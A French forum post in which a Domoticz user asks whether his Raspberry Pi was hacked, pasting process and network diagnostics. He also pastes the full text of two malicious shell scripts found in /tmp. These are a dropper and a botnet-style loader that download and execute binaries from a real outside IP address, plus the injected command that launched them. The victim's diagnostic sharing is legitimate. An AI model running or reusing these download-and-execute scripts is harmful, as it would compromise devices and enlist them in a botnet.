Domoticz HS ou Raspberry piraté ?
Publié : 11 août 2019, 14:14
Bonjour,
Voilà ce que j'ai constaté :
Du coup j'ai cherché où étaient ces fichiers "domo.sh" et "all.sh".
J'ai trouvé ça !
Une idée
Guillaume
Voilà ce que j'ai constaté :
Code : Tout sélectionner
pi@raspberrypi:/tmp $ sudo service domoticz.sh status● domoticz.service - LSB: Home Automation System
Loaded: loaded (/etc/init.d/domoticz.sh; generated; vendor preset: enabled)
Active: active (running) since Mon 2019-06-24 21:40:04 CEST; 1 months 17 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/domoticz.service
├─7576 sh -c uvccapture -d /dev/aaa wget http://109.238.6.18/domo.sh -O /tmp/domo.sh chmod 777 /tmp/domo.sh /tmp/dom
├─7579 /bin/bash /tmp/domo.sh
├─7583 /bin/sh ./all.sh domo
├─7595 prvkefn0vceroid3rooj
├─7596 prvkefn0vceroid3rooj
├─7597 prvkefn0vceroid3rooj
├─7598 prvkefn0vceroid3rooj
├─7599 prvkefn0vceroid3rooj
└─7600 prvkefn0vceroid3rooj
Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
lines 1-16/16 (END)
Code : Tout sélectionner
pi@raspberrypi:~/domoticz $ ./domoticz -status2019-08-11 14:05:51.268 Status: Domoticz V4.9700 (c)2012-2018 GizMoCuz
2019-08-11 14:05:51.268 Status: Build Hash: a3a45906, Date: 2018-06-23 16:24:51
2019-08-11 14:05:51.268 Status: Startup Path: /home/pi/domoticz/
2019-08-11 14:05:51.312 Sunrise: 06:57:00 SunSet: 21:26:00
2019-08-11 14:05:51.312 Day length: 14:29:00 Sun at south: 14:05:00
2019-08-11 14:05:51.312 Civil twilight start: 06:23:00 Civil twilight end: 22:00:00
2019-08-11 14:05:51.312 Nautical twilight start: 05:40:00 Nautical twilight end: 22:43:00
2019-08-11 14:05:51.313 Astronomical twilight start: 04:51:00 Astronomical twilight end: 23:33:00
2019-08-11 14:05:51.313 Status: EventSystem: reset all events...
2019-08-11 14:05:51.314 Status: PluginSystem: Failed dynamic library load, install the latest libpython3.x library that is available for your platform.
2019-08-11 14:05:51.314 Status: Philips Hue: Using default poll interval of 10 secs.
2019-08-11 14:05:51.322 Active notification Subsystems: email (1/13)
2019-08-11 14:05:51.324 Error: WebServer(HTTP) startup failed on address 0.0.0.0 with port: 8080: bind: Address already in use
2019-08-11 14:05:51.324 Error: WebServer(HTTP) check if no other application is using port: 8080
2019-08-11 14:05:51.337 Error: WebServer(SSL) startup failed on address 0.0.0.0 with port: 443: bind: Permission denied
2019-08-11 14:05:51.337 Error: WebServer(SSL) check privileges for opening ports below 1024
2019-08-11 14:05:51.337 Error: No servers are configured. Hence mydomoticz will not be started either.
2019-08-11 14:05:51.338 Status: Proxymanager started.
terminate called after throwing an instance of 'boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::lock_error> >'
pure virtual method called
terminate called recursively
Abandon
Code : Tout sélectionner
pi@raspberrypi:/tmp $ sudo netstat -tlnp | grep 8080tcp6 129 0 :::8080 :::* LISTEN 7576/sh
Code : Tout sélectionner
sudo lsof -i -P -n | grep "8080 (LISTEN"sh 7576 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
domo.sh 7579 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
all.sh 7583 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7595 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7596 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7597 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7598 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7599 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7600 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
Du coup j'ai cherché où étaient ces fichiers "domo.sh" et "all.sh".
J'ai trouvé ça !
Code : Tout sélectionner
pi@raspberrypi:~/domoticz $ sudo find / -name domo.sh/tmp/domo.sh
find: ‘/proc/sys/fs/binfmt_misc’: Aucun périphérique de ce type
Code : Tout sélectionner
pi@raspberrypi:~/domoticz $ sudo find / -name all.sh/tmp/putin/all.sh
find: ‘/proc/sys/fs/binfmt_misc’: Aucun périphérique de ce type
Code : Tout sélectionner
pi@raspberrypi:~/domoticz $ sudo vi /tmp/domo.sh#!/bin/bash
mkdir /tmp/putin/;
wget http://109.238.6.18/all/all.sh -O /tmp/putin/all.sh;
chmod 777 /tmp/putin/*;
cd /tmp/putin/ && ./all.sh domo;
rm -rf /tmp/domo.sh
~
"/tmp/domo.sh" 7 lines, 167 characters
Code : Tout sélectionner
pi@raspberrypi:~/domoticz $ sudo vi /tmp/putin/all.sh#!/bin/sh
WEBSERVER="109.238.6.18:80"
BINARIES="ntpdd.arm ntpdd.arm5n ntpdd.arm6 ntpdd.arm8 ntpdd.arm6tl ntpdd.m68k ntpdd.mpsl ntpdd.spc ntpdd.mips ntpdd.ppc ntpdd.x86 ntpdd.arm4tl ntpdd.mips64 ntpdd.sh4"
for Binary in $BINARIES; do
wget http://$WEBSERVER/all/$Binary -O /tmp/putin/dvrRunNer
chmod 777 /tmp/putin/dvrRunNer
cd /tmp/putin/ && ./dvrRunNer $1
rm -rf /tmp/putin/dvrRunNer
done
~
"/tmp/putin/all.sh" 12 lines, 396 characters
Une idée
Guillaume